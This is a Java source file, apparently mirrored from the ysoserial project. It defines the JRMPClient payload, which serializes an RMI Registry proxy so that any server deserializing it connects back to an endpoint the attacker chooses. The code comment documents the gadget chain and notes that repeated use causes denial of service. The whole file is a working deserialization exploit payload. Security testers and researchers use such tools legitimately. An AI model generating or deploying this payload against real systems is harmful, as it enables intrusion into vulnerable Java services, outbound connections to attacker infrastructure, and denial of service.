mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-22 07:00:44 +08:00
82 lines
2.4 KiB
Java
82 lines
2.4 KiB
Java
package ysoserial.payloads;
|
|
|
|
|
|
import java.lang.reflect.Proxy;
|
|
import java.rmi.registry.Registry;
|
|
import java.rmi.server.ObjID;
|
|
import java.rmi.server.RemoteObjectInvocationHandler;
|
|
import java.util.Random;
|
|
|
|
import sun.rmi.server.UnicastRef;
|
|
import sun.rmi.transport.LiveRef;
|
|
import sun.rmi.transport.tcp.TCPEndpoint;
|
|
import ysoserial.payloads.annotation.PayloadTest;
|
|
import ysoserial.payloads.util.PayloadRunner;
|
|
|
|
|
|
/**
|
|
*
|
|
*
|
|
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
|
|
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
|
|
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
|
|
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
|
|
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
|
* LiveRef.read(ObjectInput, boolean)
|
|
* UnicastRef.readExternal(ObjectInput)
|
|
*
|
|
* Thread.start()
|
|
* DGCClient$EndpointEntry.<init>(Endpoint)
|
|
* DGCClient$EndpointEntry.lookup(Endpoint)
|
|
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
|
* LiveRef.read(ObjectInput, boolean)
|
|
* UnicastRef.readExternal(ObjectInput)
|
|
*
|
|
* Requires:
|
|
* - JavaSE
|
|
*
|
|
* Argument:
|
|
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
|
|
*
|
|
* Yields:
|
|
* * an established JRMP connection to the endpoint (if reachable)
|
|
* * a connected RMI Registry proxy
|
|
* * one system thread per endpoint (DOS)
|
|
*
|
|
* @author mbechler
|
|
*/
|
|
@SuppressWarnings ( {
|
|
"restriction"
|
|
} )
|
|
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
|
|
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
|
|
|
public Registry getObject ( final String command ) throws Exception {
|
|
|
|
String host;
|
|
int port;
|
|
int sep = command.indexOf(':');
|
|
if ( sep < 0 ) {
|
|
port = new Random().nextInt(65535);
|
|
host = command;
|
|
}
|
|
else {
|
|
host = command.substring(0, sep);
|
|
port = Integer.valueOf(command.substring(sep + 1));
|
|
}
|
|
ObjID id = new ObjID(0); // RMI registry
|
|
TCPEndpoint te = new TCPEndpoint(host, port);
|
|
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
|
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
|
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
|
|
Registry.class
|
|
}, obj);
|
|
return proxy;
|
|
}
|
|
|
|
|
|
public static void main ( final String[] args ) throws Exception {
|
|
PayloadRunner.run(JRMPClient.class, args);
|
|
}
|
|
}
|